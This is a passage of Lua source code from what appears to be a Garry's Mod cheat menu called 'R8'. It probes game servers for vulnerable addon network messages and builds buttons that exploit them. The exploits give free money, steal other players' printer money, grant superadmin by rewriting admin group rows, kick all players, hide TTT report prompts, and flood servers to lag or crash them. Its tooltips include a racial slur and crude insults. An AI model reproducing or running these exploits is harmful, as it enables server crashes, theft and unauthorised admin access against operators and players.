4452draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4453end
4454notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
4455timer.Simple( 3, function()
4456notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
4457end)
4458end)
4459end
4460
4461
4462//////////// [CLEAR CHAT] ////////////
4463
4464function clearchat()
4465for i = 0, 100 do
4466chat.AddText(" ")
4467end
4468end
4469
4470//////////// [VAPE] ////////////
4471
4472function Vape()
4473timer.Simple(0, function() RunConsoleCommand("+attack") end )
4474timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
4475end
4476concommand.Add("vape", Vape)
4477concommand.Add("clearchat", clearchat)
4478
4479//////////// [CAC CHECKER] ////////////
4480
4481if (_G.QAC or _G.CAC) then
4482chat.AddText( Color( 0, 255, 255 ), "[", "R8", "] ", Color( 255, 255, 255 ), "The server has Cake Anti Cheat!")
4483end
4484
4485function Initialize()
4486-- Removed the stupid printing coding so you dont have to scroll up to find the shit.
4487
4488 surface.PlaySound("HL1/fvox/bell.wav")
4489-- surface.PlaySound("buttons/button15.wav")
4490ECNotify("Loaded Successfully!")
4491net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
4492net.Receive( "metro_notification",function() // Disable Metro Notification
4493return
4494end)
4495
4496//////////// Font Creation ////////////
4497--
4498surface.CreateFont( "Roboto", {
4499 font = "Roboto",
4500 size = 18,
4501} )
4502--
4503surface.CreateFont( "Calibri-sm", {
4504 font = "Calibri",
4505 size = 15,
4506} )
4507--
4508surface.CreateFont( "Calibri-l", {
4509 font = "Calibri",
4510 size = 21,
4511} )
4512--
4513surface.CreateFont( "tahoma", {
4514 font = "Tahoma",
4515 size = 15,
4516} )
4517--
4518end
4519Initialize(); // Initializes basic shit for when menu is loaded.
4520
4521
4522function ValidNetString( str )
4523local status, error = pcall( net.Start, str )
4524return status
4525end
4526
4527
4528------------------------------------------------------------------------
4529
4530//////////// [MENU] ////////////
4531
4532function draw.OutlinedBox( x, y, w, h, thickness, clr )
4533surface.SetDrawColor( clr )
4534for i=0, thickness - 1 do
4535surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
4536end
4537end
4538
4539-------------------------------------------------------------------------------------------
4540surface.CreateFont("Main",
4541 {
4542 font = "Arial",
4543 size = 20,
4544 weight = 1000,
4545 shadow = false,
4546 outline = false,
4547})
4548
4549function R8_Menu()
4550
4551local menu = vgui.Create( "DFrame" )
4552
4553menu:Center()
4554
4555menu:SizeTo(300, 350, .3, 0, .3)
4556
4557exitmenu(menu,249,1)
4558
4559menu:SetTitle( " " )
4560
4561menu:ShowCloseButton( false )
4562
4563menu:MakePopup()
4564
4565function menu:Paint()
4566
4567DrawBlur(self,5)
4568
4569draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
4570
4571draw.SimpleText( totalSploits .. "/297 Exploits - R8", "Roboto", 5, 3, Color( 255, 255, 255, 200 ), 0, 0 )
4572
4573if totalSploits == 0 then
4574draw.SimpleText("No exploits found!", "Roboto", 65, 150, Color( 255, 255, 255, 200 ), 0, 0 )
4575end
4576
4577surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4578
4579surface.DrawOutlinedRect( 0, 0, menu:GetSize() )
4580
4581surface.DrawOutlinedRect( 0, 0, 249, 26 )
4582
4583surface.DrawOutlinedRect( 0, 25, menu:GetSize() )
4584
4585end
4586
4587//////////// [TABS] ////////////
4588
4589local tabs = vgui.Create( "DPropertySheet", menu )
4590tabs:Dock( FILL )
4591tabs:DockPadding( -5, 5, 0, 0)
4592tabs.Paint = function (self, w, h)
4593for k, v in pairs(tabs.Items) do
4594
4595 if (!v.Tab) then continue end
4596
4597 v.Tab.Paint = function(self,w,h)
4598 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
4599 draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 45, 45, 45, 255 ) )
4600 if ( tabs:GetActiveTab() == v.Tab ) then
4601 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
4602 //draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
4603 draw.RoundedBox( 0, 0, 22, w, 1, Color(255,255,255,255))
4604 end
4605 end
4606end
4607end
4608
4609//////////// [PANELS] ////////////
4610
4611local exploitsPanel = vgui.Create( "DPanel", menu )
4612
4613exploitsPanel:Dock(1)
4614
4615exploitsPanel.Paint = function( self, w, h )
4616draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25,100 ))
4617draw.OutlinedBox( 0, 0, w, h, 1, Color( 0, 0, 0 ) )
4618end
4619
4620
4621local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
4622exploitsScrollPanel:Dock( FILL )
4623
4624
4625//////////// [NEW EXPLOIT] ////////////
4626--------------------
4627totalSploits = 0
4628function addExploit(id, text, desc, func)
4629totalSploits = 1 + totalSploits
4630local id = vgui.Create( "DButton", exploitsScrollPanel )
4631id:SetText( text )
4632id:SetTextColor( Color( 200, 200, 200 ) )
4633id:SetFont("Roboto")
4634id:Dock( TOP )
4635id:DockMargin( 10, 10, 10, -5 )
4636id:DockPadding( 2, 25, 2, 50 )
4637id.DoClick = func
4638if desc then
4639id:SetToolTip( desc )
4640end
4641id.Paint = function( self, w, h )
4642id.OnCursorEntered = function(self)
4643-- surface.PlaySound( "garrysmod/ui_hover.wav" )
4644surface.PlaySound( "buttons/button15.wav" )
4645end
4646if id:IsHovered() then
4647draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4648
4649surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4650
4651surface.DrawOutlinedRect( 0, 0, id:GetSize() )
4652
4653surface.DrawOutlinedRect( 0, 25, id:GetSize() )
4654else
4655draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4656
4657surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4658
4659surface.DrawOutlinedRect( 0, 0, id:GetSize() )
4660
4661surface.DrawOutlinedRect( 0, 25, id:GetSize() )
4662end
4663
4664end
4665
4666
4667end
4668
4669
4670//////////////////// [EXPLOITS] ////////////////////
4671
4672status = ValidNetString("TCBBuyAmmo")
4673if (status) then
4674ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
4675addExploit( "1","Free Ammo", "Gets All Ammo Types", function()
4676surface.PlaySound("garrysmod/ui_click.wav")
4677ECPrint("Getting Le Ammo")
4678for k,v in pairs(GAMEMODE.AmmoTypes) do
4679net.Start("TCBBuyAmmo")
4680net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4681net.SendToServer()
4682end
4683end)
4684end
4685
4686status = ValidNetString("DataSend")
4687if (status) then
4688ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
4689addExploit( "2","Steal All Monies #1", "Takes money from printers", function()
4690surface.PlaySound("garrysmod/ui_click.wav")
4691for k, v in pairs( ents.GetAll() ) do
4692if v:GetClass() == "adv_moneyprinter" then
4693ECPrint("Collecting Money")
4694net.Start("DataSend")
4695net.WriteFloat(2)
4696net.WriteEntity(v)
4697net.WriteEntity(LocalPlayer())
4698net.SendToServer()
4699end
4700end
4701end)
4702end
4703
4704
4705status = ValidNetString("FarmingmodSellItems")
4706if (status) then
4707ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
4708addExploit( "3","Free Money", "An exploit in the Farming Mod", function()
4709surface.PlaySound("garrysmod/ui_click.wav")
4710ECPrint("Enjoy the b1g monies")
4711net.Start("FarmingmodSellItems")
4712net.WriteTable(
4713{
4714Cost = 10,
4715CropModel = "models/props/eryk/garlic.mdl",
4716CropType = 2,
4717Info = "Garlic Seed",
4718Model = "models/props/eryk/seedbag.mdl",
4719Name = "Garlic",
4720Quality = 4,
4721Sell = 99999,
4722Type = "Seed"
4723}
4724)
4725net.WriteInt(1,16)
4726net.SendToServer()
4727end)
4728end
4729
4730status = ValidNetString("start_wd_emp")
4731if (status) then
4732ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
4733addExploit( "4","Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
4734surface.PlaySound("garrysmod/ui_click.wav")
4735ECNotify("Hacking Keypads")
4736net.Start("start_wd_emp")
4737net.SendToServer()
4738end)
4739end
4740
4741status = ValidNetString("duelrequestguiYes")
4742if (status) then
4743ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
4744addExploit( "5","Get Money", "Duel Exploit", function()
4745surface.PlaySound("garrysmod/ui_click.wav")
4746ECNotify("getting ez monies")
4747net.Start("duelrequestguiYes")
4748net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4749net.WriteEntity(table.Random( player.GetAll() ) )
4750net.WriteString("Crossbow")
4751net.SendToServer()
4752end)
4753end
4754
4755status = ValidNetString("DarkRP_Kun_ForceSpawn")
4756if (status) then
4757ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
4758addExploit( "6", "Respawn #1", "Just respawn", function()
4759surface.PlaySound("garrysmod/ui_click.wav")
4760ECPrint("Respawn")
4761net.Start("DarkRP_Kun_ForceSpawn")
4762net.SendToServer()
4763end)
4764end
4765
4766status = ValidNetString("SyncPrinterButtons76561198056171650")
4767if (status) then
4768ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
4769addExploit( "7","Steal All Monies #2", "Takes money from printers", function()
4770surface.PlaySound("garrysmod/ui_click.wav")
4771ECPrint("Collecting Money")
4772for k, v in pairs(ents.GetAll()) do
4773if (v:GetClass() == "adv_moneyprinter") then
4774net.Start("SyncPrinterButtons76561198056171650")
4775net.WriteEntity(v)
4776net.WriteUInt(2, 4)
4777net.SendToServer()
4778end
4779end
4780end)
4781end
4782---------------------------------------------------------------------------------------------
4783local function report()
4784 for i = 1, 2000 do
4785 net.Start("DL_Answering")
4786 net.SendToServer()
4787 end
4788end
4789
4790if (Damagelog) then
4791ECPrint("Found Exploit: Kick All Players")
4792reportSpam = 0
4793addExploit( "1337","Kick All Players", "Kicks all players", function()
4794 surface.PlaySound("garrysmod/ui_click.wav")
4795 if (reportSpam == 0) then
4796 ECNotify("Starting Kicker")
4797 reportSpam = 1
4798 timer.Create("reportSpammer", 0.05, 0, report)
4799 else
4800 ECNotify("Stopping Kicker")
4801 reportSpam = 0
4802 timer.Remove("reportSpammer")
4803 end
4804
4805end)
4806end
4807----------------------------------------------------------------------------------------------
4808
4809status = ValidNetString("SimplicityAC_aysent")
4810if (status) then
4811ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
4812addExploit( "8","Crash #1", "Will instantly crash the server", function()
4813surface.PlaySound("garrysmod/ui_click.wav")
4814ECPrint("Goodbye Server")
4815local tbl = {}
4816for i=1,400 do
4817tbl[i] = i
4818end
4819net.Start("SimplicityAC_aysent")
4820net.WriteUInt(1, 8)
4821net.WriteUInt(4294967295, 32)
4822net.WriteTable(tbl)
4823net.SendToServer()
4824end)
4825end
4826
4827status = ValidNetString("RevivePlayer")
4828if (status) then
4829ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
4830addExploit( "9", "Reanimation #1", "Instant revival", function()
4831surface.PlaySound("garrysmod/ui_click.wav")
4832if !timer.Exists( "reanimation1" ) then
4833ECNotify( "Enabled" )
4834timer.Create( "reanimation1", 0.5, 0, function()
4835if !LocalPlayer():Alive() then
4836net.Start("RevivePlayer")
4837net.WriteEntity(LocalPlayer())
4838net.SendToServer()
4839end
4840end)
4841else
4842timer.Remove( "reanimation1" )
4843ECNotify( "Disabled" )
4844end
4845end )
4846end
4847
4848status = ValidNetString("NLRKick")
4849if (status) then
4850ECPrint("Found Exploit: Kick Everyone [NLRKick]")
4851addExploit( "10","Kick Everyone", "kick all the beaners", function()
4852surface.PlaySound("garrysmod/ui_click.wav")
4853ECNotify("Kicking All")
4854for k,v in pairs(player.GetAll()) do
4855if v != LocalPlayer() then
4856net.Start("NLRKick")
4857net.WriteEntity(v)
4858net.SendToServer()
4859end
4860end
4861end)
4862end
4863
4864status = ValidNetString("timebombDefuse")
4865if (status) then
4866ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
4867addExploit( "11","Delete All Props", "props = dead", function()
4868surface.PlaySound("garrysmod/ui_click.wav")
4869ECNotify("Props De_Stroyed")
4870for k,v in pairs(ents.GetAll()) do
4871net.Start("timebombDefuse")
4872net.WriteEntity(v)
4873net.WriteBool(true)
4874net.SendToServer()
4875end
4876end)
4877end
4878
4879status = ValidNetString("NDES_SelectedEmblem")
4880if (status) then
4881ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
4882addExploit( "12","Lagger #2", "oof yuh get l4gged", function()
4883surface.PlaySound("garrysmod/ui_click.wav")
4884if !timer.Exists( "lagger2" ) then
4885timer.Create("lagger2", 0.5, 0, function()
4886for i=1, 2000 do
4887net.Start("NDES_SelectedEmblem",true)
4888net.WriteString("seized")
4889net.SendToServer()
4890end
4891end)
4892ECNotify("Starting Lagger")
4893else
4894timer.Remove("lagger2")
4895ECNotify("Stopping Lagger")
4896end
4897end)
4898end
4899
4900status = ValidNetString("Morpheus.StaffTracker")
4901if (status) then
4902ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
4903addExploit( "13","Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
4904surface.PlaySound("garrysmod/ui_click.wav")
4905if !timer.Exists( "crasher1" ) then
4906timer.Create("crasher1", 0.5, 0, function()
4907for i=1, 2000 do
4908net.Start("Morpheus.StaffTracker")
4909net.SendToServer()
4910end
4911end)
4912ECNotify("Crashing Server")
4913else
4914timer.Remove("crasher1")
4915ECNotify( "Canceling Crasher" )
4916end
4917end)
4918end
4919
4920status = ValidNetString("egg")
4921if (status) then
4922ECPrint("Found Exploit: Get Easter Egg")
4923addExploit( "14","Get Easter Egg", "ez eggs", function()
4924surface.PlaySound("garrysmod/ui_click.wav")
4925RunConsoleCommand("say", "4bigz")
4926RunConsoleCommand("cc_egg2")
4927net.Start("egg")
4928net.SendToServer()
4929ECNotify("Gave Easter Egg")
4930end)
4931end
4932
4933status = ValidNetString("pplay_deleterow")
4934if (status) then
4935ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
4936addExploit( "15","GET SUPERADMIN", "Rejoin game after clicking", function()
4937surface.PlaySound("garrysmod/ui_click.wav")
4938local id = LocalPlayer():SteamID()
4939local tbl = {}
4940tbl.name = "FAdmin_PlayerGroup"
4941tbl.where = {
4942"steamid",
4943tostring(id)
4944}
4945
4946net.Start("pplay_deleterow")
4947net.WriteTable(tbl)
4948net.SendToServer()
4949local tbl = {}
4950tbl.tblname = "FAdmin_PlayerGroup"
4951tbl.tblinfo = {
4952tostring(id),
4953"superadmin"
4954}
4955net.Start("pplay_addrow")
4956net.WriteTable(tbl)
4957net.SendToServer()
4958ECNotify("promotion ;)")
4959end)
4960end
4961
4962-- ttt report bypass by daddy grampa
4963
4964local function CheckChild(pan)
4965local title = "You have been reported! Please answer all your reports."
4966 if !pan || !IsValid(pan) then return end
4967 if pan.GetTitle && pan:GetTitle() == title then
4968 pan:Remove();
4969 print("Removed warning box")
4970 return
4971 end
4972 for k,v in pairs(pan:GetChildren()) do
4973 if v.GetTitle && v:GetTitle() == title then
4974 v:Remove();
4975 print("Removed warning box")
4976 return
4977 end
4978 if #v:GetChildren() > 0 then
4979 CheckChild(v)
4980 end
4981 end
4982end
4983
4984if (engine.ActiveGamemode() == "terrortown") then
4985bypass = 0
4986ECPrint("Found Exploit: TTT Report Bypass")
4987addExploit( "16","Toggle TTT Report Bypass", "b1g bypass amirite", function()
4988surface.PlaySound("garrysmod/ui_click.wav")
4989if (bypass == 0) then
4990hook.Add("Think", "remove_ttt_report", function()
4991local pan = vgui.GetHoveredPanel()
4992CheckChild(pan)
4993end)
4994ECNotify("Enabled Report Bypass")
4995bypass = 1
4996else
4997hook.Remove("Think", "remove_ttt_report")
4998ECNotify("Disabled Report Bypass")
4999bypass = 0
5000end
5001end)
5002end
5003
5004status = ValidNetString("EZS_PlayerTag")
5005if (status) then
5006ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
5007addExploit( "17","Lagger #3", "b1g lags my duder", function()
5008surface.PlaySound("garrysmod/ui_click.wav")
5009if !timer.Exists( "lagger3" ) then
5010timer.Create("lagger3", 0.5, 0, function()
5011for k, v in pairs(player.GetAll()) do
5012net.Start("EZS_PlayerTag",true)
5013net.WriteEntity(v)
5014net.WriteString("Seized")
5015net.SendToServer()
5016timer.Simple(2, function()
5017net.Start("EZS_PlayerTag",true)
5018net.WriteEntity(v)
5019net.WriteString("Seized")
5020net.SendToServer()
5021end)
5022end
5023end)
5024ECNotify("Starting Lagger")
5025else
5026timer.Remove("lagger3")
5027ECNotify("Stopping Lagger")
5028end
5029end)
5030end
5031
5032if ConVarExists("advttt_spreadovertime_enabled") then
5033ECPrint("Found Exploit: Remove Spread")
5034addExploit( "18","Remove Spread", "pSilent No Spread", function()
5035surface.PlaySound("garrysmod/ui_click.wav")
5036hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
5037ECNotify("Spread Removed")
5038end)
5039end
5040
5041status = ValidNetString("fp_as_doorHandler")
5042if (status) then
5043ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
5044addExploit( "19","Open Door", "Force open the door you are looking at", function()
5045surface.PlaySound("garrysmod/ui_click.wav")
5046net.Start("fp_as_doorHandler")
5047net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5048net.WriteString("unlock")
5049net.SendToServer()
5050ECNotify("Opened Door")
5051end)
5052end
5053
5054status = ValidNetString("fp_as_doorHandler")
5055if (status) then
5056addExploit( "20","Close Door", "Force close the door you are looking at", function()
5057surface.PlaySound("garrysmod/ui_click.wav")
5058net.Start("fp_as_doorHandler")
5059net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5060net.WriteString("lock")
5061net.SendToServer()
5062ECNotify("Opened Door")
5063end)
5064end
5065
5066status = ValidNetString("fp_as_doorHandler")
5067if (status) then
5068addExploit( "21","Remove Door Owner", "Force remove door owner of the door you are looking at", function()
5069surface.PlaySound("garrysmod/ui_click.wav")
5070local door = LocalPlayer():GetEyeTrace().Entity
5071local doorOwner = door:getDoorData()["owner"]
5072net.Start("fp_as_doorHandler")
5073net.WriteEntity(door)
5074net.WriteString("removeOwner")
5075net.WriteDouble(doorOwner)
5076net.SendToServer()
5077ECNotify("Opened Door")
5078end)
5079end
5080
5081status = ValidNetString("VJSay")
5082if (status) then
5083ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
5084addExploit( "22","VJSay [OLD]", "", function()
5085surface.PlaySound("garrysmod/ui_click.wav")
5086inputFrame2Exists = true
5087inputFrame2 = vgui.Create( "DFrame" )
5088inputFrame2:SetTitle("Enter your message!")
5089inputFrame2:SetSize( 400, 75 )
5090inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
5091inputFrame2:SetDraggable(false)
5092inputFrame2:ShowCloseButton(false)
5093inputFrame2:MakePopup()
5094inputFrame2.Paint = function( self, w, h )
5095draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5096end
5097
5098local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
5099TextEntry2:SetSize( 380, 30 )
5100TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
5101TextEntry2:SetText( "Broadcast Msg" )
5102TextEntry2.OnEnter = function( self )
5103surface.PlaySound("garrysmod/ui_click.wav")
5104ECNotify("Broadcasting")
5105net.Start("VJSay")
5106net.WriteEntity(nil)
5107net.WriteString(TextEntry2:GetValue())
5108net.WriteString("")
5109net.SendToServer()
5110inputFrame2:SetVisible(false)
5111end
5112end)
5113end
5114
5115status = ValidNetString("ply_pick_shit")
5116if (status) then
5117ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
5118addExploit( "23","free money amirite", "stacks in ur wallet generator", function()
5119surface.PlaySound("garrysmod/ui_click.wav")
5120for k, v in pairs (player.GetAll()) do
5121for i = 1,255 do
5122net.Start("ply_pick_shit")
5123net.WriteEntity(LocalPlayer())
5124net.WriteEntity(v)
5125net.SendToServer()
5126end
5127end
5128ECNotify("enjoy monies")
5129end)
5130end
5131
5132status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
5133if (status) then
5134ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
5135addExploit( "24","Crasher #2", "big lagz", function()
5136surface.PlaySound("garrysmod/ui_click.wav")
5137if !timer.Exists( "crasher2" ) then
5138timer.Create("crasher2", 0, 0, function()
5139for i = 1, 400 do
5140net.Start("pac.net.TouchFlexes.ClientNotify")
5141net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
5142net.SendToServer()
5143end
5144end)
5145ECNotify("Starting Crasher")
5146else
5147timer.Remove("crasher2")
5148ECNotify("Stopping Crasher")
5149end
5150end)
5151end
5152
5153status = ValidNetString("BM2.Command.SellBitcoins")
5154if (status) then
5155ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
5156addExploit( "25","Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
5157surface.PlaySound("garrysmod/ui_click.wav")
5158for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
5159net.Start("BM2.Command.SellBitcoins")
5160net.WriteEntity(v)
5161net.SendToServer()
5162end
5163for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
5164net.Start("BM2.Command.SellBitcoins")
5165net.WriteEntity(v)
5166net.SendToServer()
5167end
5168for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
5169net.Start("BM2.Command.SellBitcoins")
5170net.WriteEntity(v)
5171net.SendToServer()
5172end
5173end)
5174end
5175
5176status = ValidNetString("BM2.Command.Eject")
5177if (status) then
5178ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
5179addExploit( "26","Lagger #4", "discovered by triggered", function()
5180surface.PlaySound("garrysmod/ui_click.wav")
5181if !timer.Exists( "lagger4" ) then
5182timer.Create("lagger4", 0, 0, function()
5183for i = 1, 1000 do
5184net.Start("BM2.Command.Eject",true)
5185net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
5186net.SendToServer()
5187end
5188end)
5189ECNotify("Starting Lagger")
5190else
5191timer.Remove("lagger4")
5192ECNotify("Stopping Lagger")
5193end
5194end)
5195end
5196
5197status = ValidNetString("BM2.Command.SellBitcoins")
5198if (status) then
5199ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
5200addExploit( "27","Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
5201surface.PlaySound("garrysmod/ui_click.wav")
5202timer.Create("lagger5", 0, 0, function()
5203for i=1,1000 do
5204net.Start("BM2.Command.SellBitcoins",true)
5205net.WriteEntity(LocalPlayer())
5206net.SendToServer()
5207end
5208end )
5209end )
5210end
5211
5212status = ValidNetString("ItemStoreUse")
5213if (status) then
5214ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
5215addExploit( "28","Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
5216surface.PlaySound("garrysmod/ui_click.wav")
5217if !timer.Exists( "lagger6" ) then
5218timer.Create("lagger6", 0, 0, function()
5219for i = 1, 1000 do
5220net.Start("ItemStoreUse",true)
5221net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5222net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5223net.SendToServer()
5224end
5225end)
5226ECNotify("Starting Lagger")
5227else
5228timer.Remove("lagger6")
5229ECNotify("Stopping Lagger")
5230end
5231end)
5232end
5233
5234status = ValidNetString("ItemStoreDrop")
5235if (status) then
5236ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
5237addExploit( "29","Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
5238surface.PlaySound("garrysmod/ui_click.wav")
5239if !timer.Exists( "lagger7" ) then
5240timer.Create("lagger7", 0, 0, function()
5241for i = 1, 1000 do
5242net.Start("ItemStoreDrop",true)
5243net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5244net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5245net.SendToServer()
5246end
5247end)
5248ECNotify("Starting Lagger")
5249else
5250timer.Remove("lagger7")
5251ECNotify("Stopping Lagger")
5252end
5253end)
5254end
5255
5256status = ValidNetString("gMining.sellMineral")
5257if (status) then
5258ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
5259addExploit( "30","Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
5260surface.PlaySound("garrysmod/ui_click.wav")
5261ECNotify("Starting")
5262if !timer.Exists( "lagger8" ) then
5263timer.Create("lagger8", 0, 0, function()
5264for i = 1, 1000 do
5265net.Start("gMining.sellMineral",true)
5266net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
5267net.WriteString(" ")
5268net.SendToServer()
5269end
5270end )
5271end
5272end )
5273end
5274
5275status = ValidNetString("PlayerUseItem")
5276if (status) then
5277ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
5278addExploit( "31","Lagger #9", "discovered by triggered", function()
5279surface.PlaySound("garrysmod/ui_click.wav")
5280if !timer.Exists( "lagger9" ) then
5281timer.Create("lagger9", 0,0, function()
5282for i = 1, 800 do
5283net.Start("PlayerUseItem",true)
5284net.WriteInt(99999999999999999999999999999999999999999999999, 32)
5285net.SendToServer()
5286end
5287end)
5288ECNotify("Starting Lagger")
5289else
5290timer.Remove("lagger9")
5291ECNotify("Stopping Lagger")
5292end
5293end)
5294end
5295
5296status = ValidNetString("RequestMAPSize")
5297if (status) then
5298ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
5299addExploit( "32","Lagger #10", "1tap server", function()
5300surface.PlaySound("garrysmod/ui_click.wav")
5301if !timer.Exists( "lagger10" ) then
5302timer.Create("lagger10", 0, 0, function()
5303for i = 1, 400 do
5304net.Start("RequestMAPSize",true)
5305net.SendToServer()
5306end
5307end)
5308ECNotify("Starting Lagger")
5309else
5310timer.Remove("lagger10")
5311ECNotify("Stopping Lagger")
5312end
5313end )
5314end
5315
5316status = ValidNetString("MG2.Request.GangRankings")
5317if (status) then
5318ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
5319addExploit( "33","Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
5320surface.PlaySound("garrysmod/ui_click.wav")
5321if !timer.Exists( "lagger11" ) then
5322timer.Create("lagger11", 0, 0, function()
5323for i = 1, 1000 do
5324net.Start("MG2.Request.GangRankings",true)
5325net.SendToServer()
5326end
5327end)
5328ECNotify("Starting Lagger")
5329else
5330timer.Remove("lagger11")
5331ECNotify("Stopping Lagger")
5332end
5333end )
5334end
5335
5336status = ValidNetString("dLogsGetCommand")
5337if (status) then
5338ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
5339addExploit( "34","Lagger #12", "b1g lags", function()
5340surface.PlaySound("garrysmod/ui_click.wav")
5341ECNotify("Starting Lagger")
5342for i=1,7000 do
5343net.Start("dLogsGetCommand",true)
5344net.WriteTable({ cmd = "+forward" , args = " " })
5345net.SendToServer()
5346end
5347end )
5348end
5349
5350status = ValidNetString("ats_send_toServer")
5351if (status) then
5352ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
5353addExploit( "35","Lagger #13", "big lags", function()
5354surface.PlaySound("garrysmod/ui_click.wav")
5355ECNotify("Starting Lagger")
5356for i=1,2000 do
5357net.Start("ats_send_toServer",true)
5358net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
5359net.SendToServer()
5360end
5361end )
5362end
5363
5364status = ValidNetString("shopguild_buyitem")
5365if (status) then
5366ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
5367addExploit( "36","Guild Exploit", "increases the level of your guild", function()
5368surface.PlaySound("garrysmod/ui_click.wav")
5369ECPrint("Guild level successfully upgraded")
5370local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
5371if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
5372net.Start("shopguild_buyitem")
5373net.WriteString("lvl")
5374net.WriteDouble(level)
5375net.WriteString("Guild Level "..level)
5376net.WriteEntity(LocalPlayer())
5377net.WriteUInt(2,4)
5378net.WriteDouble(0)
5379net.SendToServer()
5380level = level + 1
5381end )
5382end
5383
5384status = ValidNetString("VoteKickNO")
5385if (status) then
5386ECPrint("Found Exploit: Votekick [VoteKickNO]")
5387addExploit( "37","Votekick", "kicking all", function()
5388surface.PlaySound("garrysmod/ui_click.wav")
5389for k,v in pairs(player.GetAll()) do
5390net.Start("VoteKickNO")
5391net.WriteFloat(v:EntIndex())
5392net.WriteFloat(6)
5393net.SendToServer()
5394net.Start("VoteKickNO")
5395net.WriteFloat(v:EntIndex())
5396net.WriteFloat(6)
5397net.SendToServer()
5398net.Start("VoteKickNO")
5399net.WriteFloat(v:EntIndex())
5400net.WriteFloat(6)
5401net.SendToServer()
5402net.Start("VoteKickNO")
5403net.WriteFloat(v:EntIndex())
5404net.WriteFloat(6)
5405net.SendToServer()
5406end
5407end )
5408end
5409
5410status = ValidNetString("VoteBanNO")
